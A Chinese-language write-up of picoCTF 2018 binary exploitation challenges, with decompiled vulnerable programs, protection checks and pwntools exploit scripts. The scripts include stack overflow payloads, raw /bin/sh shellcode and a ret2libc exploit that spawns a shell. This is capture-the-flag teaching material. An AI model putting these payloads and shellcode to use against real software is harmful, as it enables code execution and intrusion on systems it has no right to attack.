buffer overflow 0
查看程序源代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
__gid_t v3; // ST18_4
int v5; // [esp-Ch] [ebp-1Ch]
FILE *stream; // [esp+4h] [ebp-Ch]
stream = fopen("flag.txt", "r");
if ( !stream )
{
puts(
"Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
exit(0);
}
fgets(flag, 64, stream);
signal(11, (__sighandler_t)sigsegv_handler);
v3 = getegid();
setresgid(v3, v3, v3, v5);
if ( argc <= 1 )
{
puts("This program takes 1 argument.");
}
else
{
vuln((char *)argv[1]);
printf("Thanks! Received: %s", argv[1]);
}
return 0;
}
将flag.txt读入栈中
那么第一想法就应该是ssp leak flag
查看保护
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
gdb-peda$
发现没开一canary ==
void __cdecl __noreturn sigsegv_handler(int a1)
{
fprintf(stderr, "%s\n", flag);
fflush(stderr);
exit(1);
}
在代码中找到 一处print flag的地方 那么就可以尝试溢出到sigsegv_handler地址 打印flag
char *__cdecl vuln(char *src)
{
char dest; // [esp+0h] [ebp-18h]
return strcpy(&dest, src); //溢出点
}
payload
./buffer0 `python -c "print 'a'*0x18+'bbbb'+'\x2B\x86\x04\x08'"`
\x2B\x86\x04\x08是 sigsegv_handler地址
远程尝试获取flag
buffer overflow 1
查看题目得知 此次只需要跳转到win地址即可
int __cdecl main(int argc, const char **argv, const char **envp)
{
__gid_t v3; // ST1C_4
setvbuf(_bss_start, 0, 2, 0);
v3 = getegid();
setresgid(v3, v3, v3);
puts("Please enter your string: ");
vuln();
return 0;
}
跟入vuln
int vuln()
{
int v0; // eax
char s; // [esp+0h] [ebp-28h]
int savedregs; // [esp+28h] [ebp+0h]
gets(&s); //存在溢出
v0 = get_return_address((int)&savedregs);
return printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", v0);
}
win_addr = 0x80485CB
构造本地payload
from pwn import *
p = process('./buffer1')
p.recv()
payload = 'a'*0x28+'bbbb'+p32(0x80485CB)
p.sendline(payload)
p.interactive()
构造远程payload
iosmosis@pico-2018-shell-1:~$ cd /problems/buffer-overflow-1_3_af8f83fb19a7e2c98e28e325e4cacf78
iosmosis@pico-2018-shell-1:/problems/buffer-overflow-1_3_af8f83fb19a7e2c98e28e325e4cacf78$ python
Python 2.7.12 (default, Dec 4 2017, 14:50:18)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> payload = 'a'*0x28+'bbbb'+p32(0x80485CB)
>>> p =process('./vuln')
[x] Starting local process './vuln'
[+] Starting local process './vuln': pid 856860
>>> p.sendline(payload)
>>> p.interactive()
[*] Switching to interactive mode
[*] Process './vuln' stopped with exit code -11 (SIGSEGV) (pid 856860)
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x80485cb
picoCTF{addr3ss3s_ar3_3asy65489706}[*] Got EOF while reading in interactive
成功获取到flag
leak-me
查看源代码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
int flag() {
char flag[48];
FILE *file;
file = fopen("flag.txt", "r");
if (file == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(flag, sizeof(flag), file);
printf("%s", flag);
return 0;
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
gid_t gid = getegid();
setresgid(gid, gid, gid);
// real pw:
FILE *file;
char password[64];
char name[256];
char password_input[64];
memset(password, 0, sizeof(password));
memset(name, 0, sizeof(name));
memset(password_input, 0, sizeof(password_input));
printf("What is your name?\n");
fgets(name, sizeof(name), stdin);
char *end = strchr(name, '\n');
if (end != NULL) {
*end = '\x00';
}
strcat(name, ",\nPlease Enter the Password.");
file = fopen("password.txt", "r");
if (file == NULL) {
printf("Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(password, sizeof(password), file);
printf("Hello ");
puts(name);
fgets(password_input, sizeof(password_input), stdin);
password_input[sizeof(password_input)] = '\x00';
if (!strcmp(password_input, password)) {
flag();
}
else {
printf("Incorrect Password!\n");
}
return 0;
}
看到name 定义为 char name[256];
我们只需要大于0x100长度的字符串即可leak处password
这里先讲一下如何修复
如果用ida32打开程序的话会无法F5
如图
这是因为反编译插件无法确定其中函数的参数个数
解决方法:
跳转到该地址
进入该函数 按 Y 修改函数约定和参数个数
然后再按F5
接着切换到main函数 即可成功F5反编译
由于断电 这里先进行本地getflag
leak出本地password
再次输入password即可获取到flag
shellcode
检查保护
ios@ubuntu:~$ checksec shellcode
[*] '/home/ios/shellcode'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
ios@ubuntu:~$
保护全关 所以只要写入shellcode即可
F5报错
修复办法 :
G跟进地址
keypatch该指令 用nop填充
再次按F5
分析代码流程
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+8h] [ebp-A0h]
int v5; // [esp+9Ch] [ebp-Ch]
setvbuf(stdout, 0, 2, 0);
v5 = getegid();
setresgid(v5, v5, v5);
puts("Enter a string!");
vuln(&v4);
puts("Thanks! Executing now...");
return 0;
}
v4传入vuln函数 跟进
int __cdecl vuln(int a1//v4)
{
gets(a1); //漏洞存在点
return puts(a1);
}
溢出偏移 0xA0
使用现有的shellcode 或者生产shellcode
from pwn import*
context(log_level = 'debug', arch = 'i386', os = 'linux')
shellcode=asm(shellcraft.sh())
//现有
shellcode = "\x31\xc0\x31\xdb\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\x51\x52\x55\x89\xe5\x0f\x34\x31\xc0\x31\xdb\xfe\xc0\x51\x52\x55\x89\xe5\x0f\x34"
那么构造exp
from pwn import*
p =process('./shellcode')
elf =ELF('shellcode')
bss =elf.bss()
shellcode = "\x31\xc0\x31\xdb\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\x51\x52\x55\x89\xe5\x0f\x34\x31\xc0\x31\xdb\xfe\xc0\x51\x52\x55\x89\xe5\x0f\x34"
payload = shellcode+'A'*(0xA0-len(shellcode))+'bbbb'+p32(0x1553155)//随意给出一个ret地址
p.recv()
p.sendline(payload)
p.interactive()
got-2-learn-libc
检查保护
ubuntu@ubuntu:~$ checksec got2libc
[*] '/home/ubuntu/got2libc'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
ubuntu@ubuntu:~$
开启PIE NX RELRO
载入ida查看流程
int __cdecl main(int argc, const char **argv, const char **envp)
{
__gid_t v3; // ST1C_4
setvbuf(stdout, 0, 2, 0);
v3 = getegid();
setresgid(v3, v3, v3);
sub_618(0x2000);
printf("puts: %p\n", &puts);
printf("fflush %p\n", &fflush);
printf("read: %p\n", &read);
printf("write: %p\n", &write);
printf("useful_string: %p\n", useful_string);
putchar(10);
vuln();
return 0;
}
主流程打印了当前的一些地址 看到还打印了一个useful_string 我们跟进看下 是什么
.data:00002030 public useful_string
.data:00002030 useful_string db '/bin/sh',0 ; DATA XREF: main+C9↑o
.data:00002038 align 10h
.data:00002038 _data ends
看到存的binsh
跟进vuln函数
int vuln()
{
char s; // [esp+Ch] [ebp-9Ch]
sub_618(0x2000);
gets(&s); //存在溢出
sub_618(0x2000);
return sub_618(0x2000);
}
漏洞点也很明显
思路:
由于程序打印了puts地址 所以可以根据puts_addr找到libc版本
通过计算libc_base 从而计算出system_addr
题目已给出/bin/sh地址所以我们可以直接构造payload
EXP
from pwn import *
p =process('got2libc')
elf = ELF('got2libc')
puts_plt_offset = elf.symbols['puts']
puts_got_offset = elf.got['puts']
print hex(puts_plt)
print hex(puts_got)
putsaddr = p.recv()
puts= putsaddr[41:49]
binsh= putsaddr[120:128]
#puts_plt = 0xf7e0618
#puts_got = 0xf7e01fe4
#payload = 'A'*0x9C+'bbbb'+p32(puts_plt)+p32(0xf7e0803)+p32(puts_got)
#p.sendline(payload)
#log.info(p.recvuntil('Thanks! Exiting now...\n'))
#data = p.recvuntil('\n', drop=True)
#puts = u32(data.ljust(4,'\x00'))
system = int(puts,16)-0x05fca0+0x03ada0
payload = 'A'*0x9C+'bbbb'+p32(system)+p32(0x1553155)+p32(int(binsh,16))
p.sendline(payload)
p.interactive()
注意str与int的转换
这里的system计算是通过https://libc.blukat.me
成功拿到shell